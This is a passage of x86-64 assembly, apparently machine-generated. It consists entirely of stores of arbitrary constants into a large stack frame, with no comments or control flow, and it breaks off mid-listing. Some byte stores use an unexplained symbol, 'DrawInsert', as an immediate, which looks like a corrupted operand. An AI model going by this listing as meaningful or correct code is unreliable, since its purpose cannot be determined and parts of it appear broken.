mov dword [rsp + 0x34d8], 0x58c1a018
mov byte [rsp + 0xe6], 1
movabs rax, 0xeb39d8ce17ead68d
mov qword [rsp + 0x6228], rax
movabs rax, 0x441d7a72cacfb24e
mov qword [rsp + 0x6230], rax
mov byte [rsp + 0xe7], 0x3f
mov eax, 0x6690
mov word [rsp + 0xcd4], ax
mov dword [rsp + 0x34dc], 0x3546e606
mov byte [rsp + 0xe8], 0xd7
movabs rax, 0x5d656f50f9754978
mov qword [rsp + 0x6238], rax
mov eax, 0x36ba
mov word [rsp + 0xcd8], ax
mov dword [rsp + 0x34e0], 0x5ced0c2a
mov dword [rsp + 0x34e4], 0xd2cae94b
movabs rax, 0x9c52ab2d14476a2b
mov qword [rsp + 0x6240], rax
movabs rax, 0x21c00d9478705254
mov qword [rsp + 0x6248], rax
movabs rax, 0x3b300a00c4705ad9
mov qword [rsp + 0x6250], rax
mov eax, 0xe5b
mov word [rsp + 0xcdc], ax
mov byte [rsp + 0xe9], 0x17
movabs rax, 0x53fb83609764a6ab
mov qword [rsp + 0x6258], rax
movabs rax, 0xbff14932964067de
mov qword [rsp + 0x6260], rax
mov dword [rsp + 0x34e8], 0x133d5c32
mov eax, 0x7a4a
mov word [rsp + 0xce0], ax
mov eax, 0x8c
mov word [rsp + 0xce4], ax
mov eax, 0x4610
mov word [rsp + 0xce8], ax
movabs rax, 0x1f78406badb661a3
mov qword [rsp + 0x6268], rax
mov dword [rsp + 0x34ec], 0x6a323993
mov dword [rsp + 0x34f0], 0xb9abac34
mov byte [rsp + 0xea], 0x6c
movabs rax, 0x7d3e31593566378b
mov qword [rsp + 0x6270], rax
mov byte [rsp + 0xeb], 0x38
movabs rax, 0x11fafba21d04d6fe
mov qword [rsp + 0x6278], rax
mov dword [rsp + 0x34f4], 0xf7842739
movabs rax, 0x18f236d420956e04
mov qword [rsp + 0x6280], rax
mov eax, 0x7dc5
mov word [rsp + 0xcec], ax
mov dword [rsp + 0x34f8], 0x1c985ce4
mov dword [rsp + 0x34fc], 0x1d9860a8
mov dword [rsp + 0x3500], 0xe7e4d279
mov dword [rsp + 0x3504], 0x4d5ce7eb
mov dword [rsp + 0x3508], 0xdf0975a2
mov dword [rsp + 0x350c], 0x7c9625cf
mov dword [rsp + 0x3510], 0x55c3dac3
movabs rax, 0x70c040287c0f8db5
mov qword [rsp + 0x6288], rax
mov byte [rsp + 0xec], 0xa
mov dword [rsp + 0x3514], 0xa468012
mov eax, 0x325b
mov word [rsp + 0xcf0], ax
mov eax, 0x2d9
mov word [rsp + 0xcf4], ax
mov byte [rsp + 0xed], 0xf6
mov dword [rsp + 0x3518], 0x7322f08b
movabs rax, 0x44e83e0503ae61e0
mov qword [rsp + 0x6290], rax
mov byte [rsp + 0xee], 0x3c
mov dword [rsp + 0x351c], 0x1fb40a6a
movabs rax, 0x121c10b7e7850305
mov qword [rsp + 0x6298], rax
mov byte [rsp + 0xef], 0x34
mov byte [rsp + 0xf0], 5
mov eax, 0xe8b
mov word [rsp + 0xcf8], ax
movabs rax, 0x23918b8e5e42a29a
mov qword [rsp + 0x62a0], rax
mov byte [rsp + 0xf1], 0x48
mov eax, 0x515b
mov word [rsp + 0xcfc], ax
mov dword [rsp + 0x3520], 0x5fde2bdf
mov dword [rsp + 0x3524], 0x6702109
mov dword [rsp + 0x3528], 0x8e781fb3
movabs rax, 0x674d6e289912de21
mov qword [rsp + 0x62a8], rax
movabs rax, 0x5c32899e89207765
mov qword [rsp + 0x62b0], rax
mov dword [rsp + 0x352c], 0x39e869c0
movabs rax, 0xe0d6681fa2788ca
mov qword [rsp + 0x62b8], rax
mov eax, 0x89a
mov word [rsp + 0xd00], ax
mov byte [rsp + 0xf2], 0x37
movabs rax, 0x69e149ee0905f087
mov qword [rsp + 0x62c0], rax
mov eax, 0x7d2
mov word [rsp + 0xd04], ax
mov eax, 0x5f
mov word [rsp + 0xd08], ax
mov byte [rsp + 0xf3], 0x57
mov eax, 0xf15
mov word [rsp + 0xd0c], ax
mov dword [rsp + 0x3530], 0x134c3928
movabs rax, 0xd3f212efec6ac8d7
mov qword [rsp + 0x62c8], rax
mov dword [rsp + 0x3534], 0x63c8ad0c
mov dword [rsp + 0x3538], 0x6a653b58
mov byte [rsp + 0xf4], 0x3b
mov eax, 0x25b
mov word [rsp + 0xd10], ax
mov dword [rsp + 0x353c], 0x8a3d0d98
mov eax, 0x253d
mov word [rsp + 0xd14], ax
movabs rax, 0x779c7ebd0695676a
mov qword [rsp + 0x62d0], rax
mov byte [rsp + 0xf5], 8
mov eax, 0x2a8
mov word [rsp + 0xd18], ax
movabs rax, 0x949d3b7bb7147335
mov qword [rsp + 0x62d8], rax
mov eax, 0x418
mov word [rsp + 0xd1c], ax
mov eax, 0xf61
mov word [rsp + 0xd20], ax
mov dword [rsp + 0x3540], 0x5f2b9286
mov dword [rsp + 0x3544], 0xbe94477d
mov byte [rsp + 0xf6], 0x1d
mov eax, 0x4bd0
mov word [rsp + 0xd24], ax
mov byte [rsp + 0xf7], 0xdd
movabs rax, 0x247406a34435ab67
mov qword [rsp + 0x62e0], rax
mov byte [rsp + 0xf8], 0xaa
mov eax, 0x92
mov word [rsp + 0xd28], ax
mov dword [rsp + 0x3548], 0x2a2a2543
mov eax, 0x11ac
mov word [rsp + 0xd2c], ax
movabs rax, 0x956f06e097b7b2f3
mov qword [rsp + 0x62e8], rax
mov eax, 0x1a22
mov word [rsp + 0xd30], ax
mov byte [rsp + 0xf9], 0x27
mov eax, 0x3800
mov word [rsp + 0xd34], ax
movabs rax, 0xb4de7826bbd0e1
mov qword [rsp + 0x62f0], rax
mov eax, 0x3df
mov word [rsp + 0xd38], ax
mov dword [rsp + 0x354c], 0x65ece0c8
mov dword [rsp + 0x3550], 0xc873f51d
mov eax, 0x576a
mov word [rsp + 0xd3c], ax
mov dword [rsp + 0x3554], 0x48752e5d
mov dword [rsp + 0x3558], 0x1cf02408
movabs rax, 0xa85b6168b7c25d68
mov qword [rsp + 0x62f8], rax
movabs rax, 0x26e6fc5312370dd8
mov qword [rsp + 0x6300], rax
mov dword [rsp + 0x355c], 0x248b2ce4
mov dword [rsp + 0x3560], 0x313732c7
mov byte [rsp + 0xfa], DrawInsert
mov eax, 0x2bfb
mov word [rsp + 0xd40], ax
mov byte [rsp + 0xfb], 0xdf
movabs rax, 0x4d149bc5689007f1
mov qword [rsp + 0x6308], rax
mov byte [rsp + 0xfc], 0x73
mov byte [rsp + 0xfd], 0xa
mov byte [rsp + 0xfe], 0xf4
mov dword [rsp + 0x3564], 0x58403920
mov eax, 0xc82
mov word [rsp + 0xd44], ax
mov byte [rsp + 0xff], 0x59
mov byte [rsp + 0x100], 0x7a
mov eax, 0xb6d
mov word [rsp + 0xd48], ax
movabs rax, 0x7cbc81c2ff560ef
mov qword [rsp + 0x6310], rax
mov eax, 0x47de
mov word [rsp + 0xd4c], ax
movabs rax, 0x1b7bd747e68e32b1
mov qword [rsp + 0x6318], rax
mov dword [rsp + 0x3568], 0xaf45584c
mov byte [rsp + 0x101], 0x57
mov dword [rsp + 0x356c], 0x5ebe7468
mov dword [rsp + 0x3570], 0x1ccc3414
mov byte [rsp + 0x102], 0x96
movabs rax, 0xe485bf66334f8b10
mov qword [rsp + 0x6320], rax
mov dword [rsp + 0x3574], 0x7bbd2e91
mov eax, 0xfbf
mov word [rsp + 0xd50], ax
mov dword [rsp + 0x3578], 0x4ba85926
mov eax, 0x33d3
mov word [rsp + 0xd54], ax
movabs rax, 0x5831fc0bc6146847
mov qword [rsp + 0x6328], rax
mov eax, 0x105
mov word [rsp + 0xd58], ax
movabs rax, 0xa9de2b7fca050695
mov qword [rsp + 0x6330], rax
mov dword [rsp + 0x357c], 0x38d48d95
mov eax, 0xda8
mov word [rsp + 0xd5c], ax
mov byte [rsp + 0x103], 0x2b
mov eax, 0x64a
mov word [rsp + 0xd60], ax
mov eax, 0x2dd1
mov word [rsp + 0xd64], ax
mov eax, 0x35ff
mov word [rsp + 0xd68], ax
mov byte [rsp + 0x104], 5
mov dword [rsp + 0x3580], 0x56cff3d3
mov dword [rsp + 0x3584], 0x1289b93
mov eax, 0x502
mov word [rsp + 0xd6c], ax
mov eax, 0x6ea0
mov word [rsp + 0xd70], ax
mov byte [rsp + 0x105], 0x50
mov dword [rsp + 0x3588], 0x61232433
movabs rax, 0x59d1ff1145483de2
mov qword [rsp + 0x6338], rax
mov byte [rsp + 0x106], 0x7a
movabs rax, 0x16517b2d0d210eb0
mov qword [rsp + 0x6340], rax
mov byte [rsp + 0x107], 0x2c
mov dword [rsp + 0x358c], 0x9274330b
mov byte [rsp + 0x108], 0xc1
mov byte [rsp + 0x109], 0x6d
movabs rax, 0x9a4057512b1c915b
mov qword [rsp + 0x6348], rax
mov eax, 0x44b4
mov word [rsp + 0xd74], ax
mov dword [rsp + 0x3590], 0x935a4524
movabs rax, 0x3356fe57d2e0b663
mov qword [rsp + 0x6350], rax
mov byte [rsp + 0x10a], 0x7c
movabs rax, 0xf16f152ce5cd8f4b
mov qword [rsp + 0x6358], rax
mov eax, 0x7883
mov word [rsp + 0xd78], ax
mov dword [rsp + 0x3594], 0x3fe95e9f
mov byte [rsp + 0x10b], 0x31
mov byte [rsp + 0x10c], 2
mov byte [rsp + 0x10d], 0x8a
mov dword [rsp + 0x3598], 0x4500f699
mov eax, 0x10b6
mov word [rsp + 0xd7c], ax
mov eax, 0x2ca
mov word [rsp + 0xd80], ax
mov dword [rsp + 0x359c], 0xe708b48d
mov dword [rsp + 0x35a0], 0x9817845a
mov dword [rsp + 0x35a4], 0x5d377076
mov eax, 0xa61
mov word [rsp + 0xd84], ax
movabs rax, 0xe82ca4c8834be330
mov qword [rsp + 0x6360], rax
mov byte [rsp + 0x10e], 5
mov eax, 0x118b
mov word [rsp + 0xd88], ax
mov dword [rsp + 0x35a8], 0x6e49472e
mov eax, 0x38b0
mov word [rsp + 0xd8c], ax
mov dword [rsp + 0x35ac], 0x6cf6feac
mov eax, 0x393
mov word [rsp + 0xd90], ax
mov byte [rsp + 0x10f], 0x41
mov eax, 0x1cb1
mov word [rsp + 0xd94], ax
mov dword [rsp + 0x35b0], 0x6f26f427
movabs rax, 0x691338546403ec4
mov qword [rsp + 0x6368], rax
mov eax, 0x326c
mov word [rsp + 0xd98], ax
mov eax, 0xd5
mov word [rsp + 0xd9c], ax
mov dword [rsp + 0x35b4], 0x1c064adc
mov byte [rsp + 0x110], 0x59
mov dword [rsp + 0x35b8], 0x3471ac2e
mov eax, 0x14a1
mov word [rsp + 0xda0], ax
mov byte [rsp + 0x111], 0x63
mov dword [rsp + 0x35bc], 0x8ac95185
mov byte [rsp + 0x112], DrawInsert
mov byte [rsp + 0x113], 2
mov dword [rsp + 0x35c0], 0xa6f2a917
movabs rax, 0x4ad42f17ba4d7949
mov qword [rsp + 0x6370], rax
mov byte [rsp + 0x114], 0x3d
mov dword [rsp + 0x35c4], 0x2dfd80bb
mov byte [rsp + 0x115], 0x69
mov dword [rsp + 0x35c8], 0x1b4bf8b8
movabs rax, 0x53e0721ed7aa4553
mov qword [rsp + 0x6378], rax
mov byte [rsp + 0x116], 0x6f
movabs rax, 0xf21883bc0b09ddc4
mov qword [rsp + 0x6380], rax
mov byte [rsp + 0x117], 0x26
mov eax, 0x1994
mov word [rsp + 0xda4], ax
movabs rax, 0x74044a620ea48a04
mov qword [rsp + 0x6388], rax
movabs rax, 0xa9c75064fd0bb4bd
mov qword [rsp + 0x6390], rax
mov eax, 0x4712
mov word [rsp + 0xda8], ax
movabs rax, 0x50883abbb1c2a528
mov qword [rsp + 0x6398], rax
mov byte [rsp + 0x118], 0x12
mov eax, 0x1f9
mov word [rsp + 0xdac], ax
mov byte [rsp + 0x119], 0x53
movabs rax, 0xd6d424f4a6b25045
mov qword [rsp + 0x63a0], rax
mov eax, 0x97f
mov word [rsp + 0xdb0], ax
mov dword [rsp + 0x35cc], 0x9c6d7c85
movabs rax, 0x157ce9f1f918966d
mov qword [rsp + 0x63a8], rax
movabs rax, 0xb497e9bba4fcf8e2
mov qword [rsp + 0x63b0], rax
mov dword [rsp + 0x35d0], 0x15f64fa6
mov byte [rsp + 0x11a], 0xe2
movabs rax, 0x7e86ab725dfdffd6
mov qword [rsp + 0x63b8], rax
mov eax, 0x12f3
mov word [rsp + 0xdb4], ax
movabs rax, 0x68369d09b057229d
mov qword [rsp + 0x63c0], rax
mov eax, 0x250f
mov word [rsp + 0xdb8], ax
movabs rax, 0x46aec6068f43d32d
mov qword [rsp + 0x63c8], rax
mov eax, 0x1e53
mov word [rsp + 0xdbc], ax
movabs rax, 0x3edecd04b79c9870
mov qword [rsp + 0x63d0], rax
mov dword [rsp + 0x35d4], 0xde71711
movabs rax, 0x775ca62e1b751bfa
mov qword [rsp + 0x63d8], rax
mov dword [rsp + 0x35d8], 0xd618d2ed
movabs rax, 0x5083af678e508a35
mov qword [rsp + 0x63e0], rax
mov eax, 0xb84
mov word [rsp + 0xdc0], ax
mov dword [rsp + 0x35dc], 0x2cd25f38
mov dword [rsp + 0x35e0], 0xcd6ebab5
movabs rax, 0x6fd164be41b1c17b
mov qword [rsp + 0x63e8], rax
mov eax, 0x1746
mov word [rsp + 0xdc4], ax
movabs rax, 0x450640ab59198dcc
mov qword [rsp + 0x63f0], rax
mov eax, 0x68f
mov word [rsp + 0xdc8], ax
mov dword [rsp + 0x35e4], 0x3df6d84
movabs rax, 0x6ae944a75789d8b5
mov qword [rsp + 0x63f8], rax
mov dword [rsp + 0x35e8], 0x373a6dba
mov dword [rsp + 0x35ec], 0x7b2618ce
mov dword [rsp + 0x35f0], 0x445bffd1
movabs rax, 0x1c150452a92f5111
mov qword [rsp + 0x6400], rax
mov eax, 0x5d76
mov word [rsp + 0xdcc], ax
movabs rax, 0x1204ad1e8062fa7a
mov qword [rsp + 0x6408], rax
mov eax, 0x125
mov word [rsp + 0xdd0], ax
movabs rax, 0x238b83397b34bb34
mov qword [rsp + 0x6410], rax
mov byte [rsp + 0x11b], 0x43
mov byte [rsp + 0x11c], 0x34
movabs rax, 0x291b99d2254393cd
mov qword [rsp + 0x6418], rax
movabs rax, 0x3c9b54a713a3a862
mov qword [rsp + 0x6420], rax
movabs rax, 0xdcacc54df9819481
mov qword [rsp + 0x6428], rax
movabs rax, 0x74286b5114ce8e59
mov qword [rsp + 0x6430], rax
mov dword [rsp + 0x35f4], 0xdbd15045
mov eax, 0x1d8
mov word [rsp + 0xdd4], ax
mov dword [rsp + 0x35f8], 0xc09d7eda
mov byte [rsp + 0x11d], 0x27
movabs rax, 0x50a7865371836c19
mov qword [rsp + 0x6438], rax
mov dword [rsp + 0x35fc], 0x63b67592
mov byte [rsp + 0x11e], 0x48
movabs rax, 0x8287c98a70e6a9da
mov qword [rsp + 0x6440], rax
mov eax, 0x5f2e
mov word [rsp + 0xdd8], ax
mov eax, 0x8a5
mov word [rsp + 0xddc], ax
movabs rax, 0x336552138cfb3d3
mov qword [rsp + 0x6448], rax
movabs rax, 0x5d642f4858745674
mov qword [rsp + 0x6450], rax
mov dword [rsp + 0x3600], 0xceccf547
mov eax, 0xa1f
mov word [rsp + 0xde0], ax
movabs rax, 0x19ab34b3eda7f3d7
mov qword [rsp + 0x6458], rax
mov eax, 0x53f2
mov word [rsp + 0xde4], ax
mov dword [rsp + 0x3604], 0x18f001f7
mov byte [rsp + 0x11f], 0x10
mov dword [rsp + 0x3608], 0x43b9b391
mov dword [rsp + 0x360c], 0x8701127a
movabs rax, 0xc695f91c43649469
mov qword [rsp + 0x6460], rax
movabs rax, 0x1f3918b38f35bddf
mov qword [rsp + 0x6468], rax
mov eax, 0x48f8
mov word [rsp + 0xde8], ax
mov byte [rsp + 0x120], 0x77
mov eax, 0xbf5
mov word [rsp + 0xdec], ax
mov dword [rsp + 0x3610], 0x6f8cb511
mov byte [rsp + 0x121], 0x84
mov byte [rsp + 0x122], 0x95
mov byte [rsp + 0x123], 0x68
mov byte [rsp + 0x124], 0x5d
mov dword [rsp + 0x3614], 0x94a7ba03
mov byte [rsp + 0x125], 0xd1
movabs rax, 0xcf7e988c1c1cacdf
mov qword [rsp + 0x6470], rax
mov dword [rsp + 0x3618], 0x7b9843a1
mov eax, 0x2908
mov word [rsp + 0xdf0], ax
mov eax, 0x5f4c
mov word [rsp + 0xdf4], ax
mov byte [rsp + 0x126], 1
mov dword [rsp + 0x361c], 0xc66b963e
mov byte [rsp + 0x127], 0x34
mov byte [rsp + 0x128], 0x21
mov byte [rsp + 0x129], 0xea
mov eax, 0xcbe
mov word [rsp + 0xdf8], ax
mov dword [rsp + 0x3620], 0x1d1a9b3f
movabs rax, 0x5ce1d980aba7f6c1
mov qword [rsp + 0x6478], rax
mov eax, 0x316f
mov word [rsp + 0xdfc], ax
movabs rax, 0x30b29dd4f60b9d88
mov qword [rsp + 0x6480], rax
movabs rax, 0x97b3fcbd924ab7af
mov qword [rsp + 0x6488], rax
mov dword [rsp + 0x3624], 0xf07cf61
mov eax, 0xb2e
mov word [rsp + 0xe00], ax
mov eax, 0x474e
mov word [rsp + 0xe04], ax
mov byte [rsp + 0x12a], DrawInsert
movabs rax, 0x9378a231bf5da555
mov qword [rsp + 0x6490], rax
mov byte [rsp + 0x12b], 0x25
mov eax, 0x7abe
mov word [rsp + 0xe08], ax
mov eax, 0xdc0
mov word [rsp + 0xe0c], ax
mov byte [rsp + 0x12c], 0x6b
mov eax, 0x2944
mov word [rsp + 0xe10], ax
mov dword [rsp + 0x3628], 0xe6119536
mov dword [rsp + 0x362c], 0x14ba4028
movabs rax, 0x54b2a8051ff3bd11
mov qword [rsp + 0x6498], rax
mov eax, 0x782
mov word [rsp + 0xe14], ax
mov dword [rsp + 0x3630], 0x318bbb22
mov byte [rsp + 0x12d], 0x62
mov byte [rsp + 0x12e], 0xb1
mov eax, 0x6ba0
mov word [rsp + 0xe18], ax
mov eax, 0x3986
mov word [rsp + 0xe1c], ax
mov dword [rsp + 0x3634], 0x143468e7
mov eax, 0x697
mov word [rsp + 0xe20], ax
mov dword [rsp + 0x3638], 0x2eab7a47
mov byte [rsp + 0x12f], 0x3d
mov byte [rsp + 0x130], 0xb2
movabs rax, 0x96878d5b22edc748
mov qword [rsp + 0x64a0], rax
mov eax, 0x77dd
mov word [rsp + 0xe24], ax
mov dword [rsp + 0x363c], 0xf291ad88
mov eax, 0x2ad
mov word [rsp + 0xe28], ax
movabs rax, 0x5b7b15d75d94b1a7
mov qword [rsp + 0x64a8], rax
mov eax, 0x6627
mov word [rsp + 0xe2c], ax
movabs rax, 0x123fa139ed311c14
mov qword [rsp + 0x64b0], rax
movabs rax, 0x29449fb4136372ca
mov qword [rsp + 0x64b8], rax
movabs rax, 0x270756839348a798
mov qword [rsp + 0x64c0], rax
mov eax, 0x2a0
mov word [rsp + 0xe30], ax
mov byte [rsp + 0x131], 0x60
mov eax, 0xa38
mov word [rsp + 0xe34], ax
mov eax, 0x1d
mov word [rsp + 0xe38], ax
mov dword [rsp + 0x3640], 0x2a7dc3e8
mov byte [rsp + 0x132], 0xaa
mov eax, 0x71b8
mov word [rsp + 0xe3c], ax
mov byte [rsp + 0x133], 0x10
movabs rax, 0x92be94cc5038d4aa
mov qword [rsp + 0x64c8], rax
movabs rax, 0xfb72e3603c1f3860
mov qword [rsp + 0x64d0], rax
movabs rax, 0x50e84ceaab5db8c4
mov qword [rsp + 0x64d8], rax
mov dword [rsp + 0x3644], 0x66a2c68a
mov eax, 0xca2
mov word [rsp + 0xe40], ax
mov byte [rsp + 0x134], 0x1c
mov eax, 0x551e
mov word [rsp + 0xe44], ax
movabs rax, 0x3b6f0cbb52fb9b0c
mov qword [rsp + 0x64e0], rax
movabs rax, 0x1f69af252919eb8d
mov qword [rsp + 0x64e8], rax
mov dword [rsp + 0x3648], 0xbe73534b
mov byte [rsp + 0x135], 0x7c
mov byte [rsp + 0x136], 0xcf
mov byte [rsp + 0x137], 0x29
mov eax, 0xff9
mov word [rsp + 0xe48], ax
mov eax, 0x6c2
mov word [rsp + 0xe4c], ax
movabs rax, 0x401ba4c839b78577
mov qword [rsp + 0x64f0], rax
mov byte [rsp + 0x138], 0xce
mov eax, 0x7f04
mov word [rsp + 0xe50], ax
mov dword [rsp + 0x364c], 0x78a8551d
mov dword [rsp + 0x3650], 0xfb0e1a3b
mov dword [rsp + 0x3654], 0x58403b90
mov eax, 0xf1e
mov word [rsp + 0xe54], ax
mov eax, 0x73f9
mov word [rsp + 0xe58], ax
movabs rax, 0x7c3704435b7bd8af
mov qword [rsp + 0x64f8], rax
movabs rax, 0xfd7e4d860cd08056
mov qword [rsp + 0x6500], rax
movabs rax, 0x392fae76714688e4
mov qword [rsp + 0x6508], rax
mov eax, 0x71
mov word [rsp + 0xe5c], ax
movabs rax, 0xca812a6e2eccda7b
mov qword [rsp + 0x6510], rax
mov eax, 0xe61
mov word [rsp + 0xe60], ax
mov eax, 0x5f46
mov word [rsp + 0xe64], ax
mov byte [rsp + 0x139], 0x94
mov byte [rsp + 0x13a], 0xf3
mov dword [rsp + 0x3658], 0x608a048d
mov eax, 0x53a
mov word [rsp + 0xe68], ax
movabs rax, 0x77c94a45b89f2928
mov qword [rsp + 0x6518], rax
mov eax, 0x7a10
mov word [rsp + 0xe6c], ax
mov byte [rsp + 0x13b], 0x68
mov eax, 0x86b
mov word [rsp + 0xe70], ax
mov eax, 0xb4a
mov word [rsp + 0xe74], ax
movabs rax, 0x34286c17bccde2a
mov qword [rsp + 0x6520], rax
mov dword [rsp + 0x365c], 0x899e229c
mov byte [rsp + 0x13c], 0xa9
movabs rax, 0xe4a9ec7b455e8d9b
mov qword [rsp + 0x6528], rax
movabs rax, 0x106692801d238f40
mov qword [rsp + 0x6530], rax
mov eax, 0x5fde
mov word [rsp + 0xe78], ax
movabs rax, 0xd1edc7104c89022d
mov qword [rsp + 0x6538], rax
movabs rax, 0x16f4b4a8a2e37a6c
mov qword [rsp + 0x6540], rax
mov byte [rsp + 0x13d], 0x22
mov eax, 0x130
mov word [rsp + 0xe7c], ax
mov dword [rsp + 0x3660], 0x6eeda8c9
mov dword [rsp + 0x3664], 0x324b0a48
mov eax, 0x665c
mov word [rsp + 0xe80], ax
mov dword [rsp + 0x3668], 0x28c0c94b
mov byte [rsp + 0x13e], 0x69
movabs rax, 0xf77acc893a3e77f
mov qword [rsp + 0x6548], rax
mov byte [rsp + 0x13f], 0x6d
movabs rax, 0x35b071a90761b317
mov qword [rsp + 0x6550], rax
mov dword [rsp + 0x366c], 0x608b715c
mov dword [rsp + 0x3670], 0x6879fb5
mov byte [rsp + 0x140], 0x17
movabs rax, 0x7d3e20f1171040cc
mov qword [rsp + 0x6558], rax
mov eax, 0x9df
mov word [rsp + 0xe84], ax
mov dword [rsp + 0x3674], 0x635b9e59
mov byte [rsp + 0x141], 0xba
mov dword [rsp + 0x3678], 0x57e357b5
mov eax, 0x992
mov word [rsp + 0xe88], ax
mov eax, 0x6806
mov word [rsp + 0xe8c], ax
mov byte [rsp + 0x142], 0xa
mov eax, 0x72f5
mov word [rsp + 0xe90], ax
mov eax, 0xed5
mov word [rsp + 0xe94], ax
movabs rax, 0xbc959cf6f825b0e9
mov qword [rsp + 0x6560], rax
mov eax, 0x799
mov word [rsp + 0xe98], ax
mov eax, 0x3a16
mov word [rsp + 0xe9c], ax
mov eax, 0x99d
mov word [rsp + 0xea0], ax
mov eax, 0x5f26
mov word [rsp + 0xea4], ax
mov eax, 0x5512
mov word [rsp + 0xea8], ax
mov dword [rsp + 0x367c], 0x74707565
movabs rax, 0x191353885594c416
mov qword [rsp + 0x6568], rax
mov byte [rsp + 0x143], 0x2d
movabs rax, 0x7d9a2de1c8177727
mov qword [rsp + 0x6570], rax
mov dword [rsp + 0x3680], 0x41d0a551
mov dword [rsp + 0x3684], 0x55b057be
mov byte [rsp + 0x144], 0x79
mov byte [rsp + 0x145], 0x69
mov byte [rsp + 0x146], 0x54
mov dword [rsp + 0x3688], 0x623f3932
mov eax, 0x583d
mov word [rsp + 0xeac], ax
mov eax, 0xa55
mov word [rsp + 0xeb0], ax
mov dword [rsp + 0x368c], 0xce5e91f
mov eax, 0xfe5
mov word [rsp + 0xeb4], ax
mov eax, 0x17e0
mov word [rsp + 0xeb8], ax
movabs rax, 0x6d866fe1bee54bd
mov qword [rsp + 0x6578], rax
movabs rax, 0x77fab7582df9819c
mov qword [rsp + 0x6580], rax
movabs rax, 0x949b4830028a282d
mov qword [rsp + 0x6588], rax
mov eax, 0x92e
mov word [rsp + 0xebc], ax
mov eax, 0x4349
mov word [rsp + 0xec0], ax
movabs rax, 0x386f3e1f3b9029a0
mov qword [rsp + 0x6590], rax
mov eax, 0xcc1
mov word [rsp + 0xec4], ax
movabs rax, 0x522af758b51c4ca2
mov qword [rsp + 0x6598], rax
movabs rax, 0x4b3d0ec71973ca9e
mov qword [rsp + 0x65a0], rax
mov eax, 0x36e4
mov word [rsp + 0xec8], ax
mov eax, 0x22b
mov word [rsp + 0xecc], ax
movabs rax, 0x36b31147f2d0799e
mov qword [rsp + 0x65a8], rax
movabs rax, 0xdceba1c89bc3753a
mov qword [rsp + 0x65b0], rax
movabs rax, 0x47a5613a5726a34f
mov qword [rsp + 0x65b8], rax
mov dword [rsp + 0x3690], 0x77cba95e
movabs rax, 0x96018e18a569990
mov qword [rsp + 0x65c0], rax
mov dword [rsp + 0x3694], 0xf708baba
mov byte [rsp + 0x147], 0xda
mov eax, 0x9fa
mov word [rsp + 0xed0], ax
movabs rax, 0xfa421517c78c1b5
mov qword [rsp + 0x65c8], rax
mov byte [rsp + 0x148], 0xdf
mov byte [rsp + 0x149], 0x1f
mov dword [rsp + 0x3698], 0x6e6219e5
movabs rax, 0x37a3c8daa78920e1
mov qword [rsp + 0x65d0], rax
movabs rax, 0x2857e7634bd812b2
mov qword [rsp + 0x65d8], rax
mov eax, 0x831
mov word [rsp + 0xed4], ax
movabs rax, 0x39c4e98be17531ad
mov qword [rsp + 0x65e0], rax
mov byte [rsp + 0x14a], 0x2a
mov byte [rsp + 0x14b], 0x71
mov byte [rsp + 0x14c], 0x72
mov dword [rsp + 0x369c], 0x90d160c
movabs rax, 0x20c8fbec5d6047ca
mov qword [rsp + 0x65e8], rax
mov dword [rsp + 0x36a0], 0x6b924f35
mov byte [rsp + 0x14d], 0x1b
movabs rax, 0x522ab055c92422e9
mov qword [rsp + 0x65f0], rax
mov dword [rsp + 0x36a4], 0xf7fcb22a
movabs rax, 0x7c42e46f9b25b58
mov qword [rsp + 0x65f8], rax
mov dword [rsp + 0x36a8], 0x6b3bbd9a
movabs rax, 0x3653ef6f13fe7de1
mov qword [rsp + 0x6600], rax
mov eax, 0x6c3
mov word [rsp + 0xed8], ax
mov eax, 0x5e1
mov word [rsp + 0xedc], ax
mov byte [rsp + 0x14e], 0x4c
mov dword [rsp + 0x36ac], 0x59270e27
mov dword [rsp + 0x36b0], 0xb3620479
movabs rax, 0x6c9faf6d21489fa9
mov qword [rsp + 0x6608], rax
mov byte [rsp + 0x14f], 0x31
movabs rax, 0x110f83ae28dee5f9
mov qword [rsp + 0x6610], rax
mov byte [rsp + 0x150], 0x4b
mov byte [rsp + 0x151], 0xd2
mov byte [rsp + 0x152], 0x22
mov byte [rsp + 0x153], 0xf2
movabs rax, 0x79d84958c12be2ce
mov qword [rsp + 0x6618], rax
movabs rax, 0x507535765902f73b
mov qword [rsp + 0x6620], rax
movabs rax, 0xb183ddad2961c035
mov qword [rsp + 0x6628], rax
mov dword [rsp + 0x36b4], 0x96daac72
mov eax, 0x883
mov word [rsp + 0xee0], ax
mov byte [rsp + 0x154], 0x34
mov byte [rsp + 0x155], 0xb6
mov dword [rsp + 0x36b8], 0x7b685e2d
mov byte [rsp + 0x156], 0x4c
mov eax, 0x84c
mov word [rsp + 0xee4], ax
movabs rax, 0x248e20dbdf46ac3e
mov qword [rsp + 0x6630], rax
mov eax, 0x6db
mov word [rsp + 0xee8], ax
mov byte [rsp + 0x157], 5
mov eax, 0x227
mov word [rsp + 0xeec], ax
movabs rax, 0x2577d960d1f9a508
mov qword [rsp + 0x6638], rax
mov eax, 0xcc0
mov word [rsp + 0xef0], ax
mov dword [rsp + 0x36bc], 0x7ea428a3
mov eax, 0xa0e
mov word [rsp + 0xef4], ax
mov dword [rsp + 0x36c0], 0xad2ef714
movabs rax, 0xec3b1d0d17855610
mov qword [rsp + 0x6640], rax
movabs rax, 0x5289b4bd3eba17c0
mov qword [rsp + 0x6648], rax
mov byte [rsp + 0x158], 2
mov dword [rsp + 0x36c4], 0xdd93410d
mov eax, 0x3a2
mov word [rsp + 0xef8], ax
mov byte [rsp + 0x159], 0x6e
mov eax, 0xe53
mov word [rsp + 0xefc], ax
movabs rax, 0x9f65768ee30b0ed7
mov qword [rsp + 0x6650], rax
mov dword [rsp + 0x36c8], 0x79f5a29b
mov eax, 0x1e48
mov word [rsp + 0xf00], ax
movabs rax, 0x586e723d794a8817
mov qword [rsp + 0x6658], rax
mov byte [rsp + 0x15a], 0x6e
mov eax, 0x4f4
mov word [rsp + 0xf04], ax
mov dword [rsp + 0x36cc], 0x40ec3b7c
movabs rax, 0x2ac1c823530650e1
mov qword [rsp + 0x6660], rax
mov dword [rsp + 0x36d0], 0x178bd372
mov dword [rsp + 0x36d4], 0x12633b42
movabs rax, 0x54da5776f8fdc6b
mov qword [rsp + 0x6668], rax
movabs rax, 0x5f7c6bb1e0590a9c
mov qword [rsp + 0x6670], rax
mov dword [rsp + 0x36d8], 0x9977c81e
mov dword [rsp + 0x36dc], 0xc2380eec
movabs rax, 0x12fa7b69f272e288
mov qword [rsp + 0x6678], rax
mov eax, 0xe43
mov word [rsp + 0xf08], ax
mov eax, 0xe64
